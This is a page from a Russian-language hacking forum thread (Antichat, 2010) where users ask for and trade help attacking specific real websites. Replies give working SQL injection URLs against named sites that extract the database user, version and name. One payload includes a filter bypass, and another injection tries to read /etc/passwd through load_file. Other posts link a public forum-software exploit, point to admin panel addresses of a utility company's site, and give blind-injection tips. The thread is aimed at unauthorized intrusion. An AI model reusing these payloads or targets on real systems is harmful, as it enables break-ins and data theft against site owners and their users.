Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 768 of 1207
  1. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    А с чего ты это взял, что это "уязвимость" ?. Прочитай ошибку.
    Code:
    Notice: failed to build language-file ut.login in /home/shared/include/XmlLanguageParser/1/XmlLanguageParser.class.php on line 103
     
    #15341 DeepBlue7, 13 Nov 2010
  2. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    Проверьте:
    PHP:
    select count(hash) from table_name
    Где hash - имя откуда у вас ничего "не выводится"
    Если вывело "0", то нету записей.
     
    #15342 Фараон, 13 Nov 2010
    Last edited: 13 Nov 2010
  3. ALIM

    ALIM Member

    Joined:
    20 Apr 2010
    Messages:
    60
    Likes Received:
    6
    Reputations:
    5
    помогите раскрутить скуль, стоит фильтрация на юнион
    через name_const не выходит
    http://www.thebartend.com/drinks/ShotsShooters/R.php?id=5714%20order%20by%209%20--
     
    #15343 ALIM, 13 Nov 2010
  4. freezed

    freezed Member

    Joined:
    27 Aug 2010
    Messages:
    154
    Likes Received:
    22
    Reputations:
    7
    http://www.thebartend.com/drinks/ShotsShooters/R.php?id=5714+and+1=0+union(select+concat_ws(0x3a,user(),version(),database()),2,3,4,5,6,7,8,9)+--+
     
    #15344 freezed, 13 Nov 2010
    1 person likes this.
  5. ALIM

    ALIM Member

    Joined:
    20 Apr 2010
    Messages:
    60
    Likes Received:
    6
    Reputations:
    5
    tnx:)
     
    #15345 ALIM, 13 Nov 2010
  6. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    вот более простой способ:
    http://www.thebartend.com/drinks/ShotsShooters/R.php?id=-5714+/*!UNION*/+SELECT+VERSION(),2,3,4,5,6,7,8,9--
     
    #15346 pinch, 13 Nov 2010
    1 person likes this.
  7. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Есть ли в паблике рабочий сплоит под Invision Power Board 2.3.6 версии ?

    Заранее благодарю.
     
    #15347 DeepBlue7, 13 Nov 2010
  8. TreV@N

    TreV@N Elder - Старейшина

    Joined:
    14 Jul 2008
    Messages:
    135
    Likes Received:
    48
    Reputations:
    19
    http://www.exploit-db.com/exploits/10304/
     
    #15348 TreV@N, 13 Nov 2010
    1 person likes this.
  9. ra0cg

    ra0cg Elder - Старейшина

    Joined:
    9 Nov 2008
    Messages:
    809
    Likes Received:
    500
    Reputations:
    200
    https://loesk.ru/manager/
     
    #15349 ra0cg, 14 Nov 2010
    1 person likes this.
  10. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    http://loesk.ru/myadmin/
    Не знаю, может быть поможет.
     
    #15350 Фараон, 14 Nov 2010
  11. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    Здесь есть SQL-inj?

    http://www.vedicbooks.net/advanced_search_result.php?inc_subcat=1&keywords=Roy%20Eugene%20Davis&search_in_description=1'
     
    #15351 FlaktW, 14 Nov 2010
  12. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    нету
     
    #15352 SeNaP, 14 Nov 2010
  13. JohnnyBGoode

    JohnnyBGoode Member

    Joined:
    5 Oct 2010
    Messages:
    48
    Likes Received:
    11
    Reputations:
    5
    http://kommok.ru/index.php
    Подскажите как здесь провести инъекцию.Метод POST,инъекция типа Blind,уязвимые параметры и в форме поиска ,и в форме голосования,по крайней мере так определил Acunetix Web Scanner
    Я пока еще не очень дружу с Blind Sql,а тут плюс к этому еще и POST метод,что не добавляет удобства
     
    #15353 JohnnyBGoode, 14 Nov 2010
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    тулза от пашкелы, на форуме есть , юзай поиск
     
    #15354 Gorev, 14 Nov 2010
  15. BuG_4F

    BuG_4F Member

    Joined:
    20 May 2008
    Messages:
    88
    Likes Received:
    67
    Reputations:
    5
    Тут есть скуль ?
    http://sochi.com/pages/?id=-400+union+select+load_file('/etc/passwd')+from+mysql.user+--

    По идее :
    http://sochi.com/pages/?id=400
    А с "-" выдаёт другой результат.
    http://sochi.com/pages/?id=-400
     
    #15355 BuG_4F, 14 Nov 2010
  16. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    Бред, нету конечно.
     
    #15356 Фараон, 14 Nov 2010
    Last edited: 14 Nov 2010
  17. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    мдя.... слов нет....почитайка молодой человек про скули....
     
    #15357 Gorev, 14 Nov 2010
    1 person likes this.
  18. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    BuG_4F, ты не правильно понял мысль. проверяй, выполняется ли арифметическое действие, например ?id=400-1 , если появляется содержимое, которое должно появится при id=399, то можно говорить о иньекции.
     
    #15358 DeepBlue7, 14 Nov 2010
  19. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    http://old.lenenergo.ru/files/
     
    #15359 FlaktW, 14 Nov 2010
  20. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    причем тут это?
     
    #15360 svesve, 14 Nov 2010
(You must log in or sign up to post here.)
Page 768 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.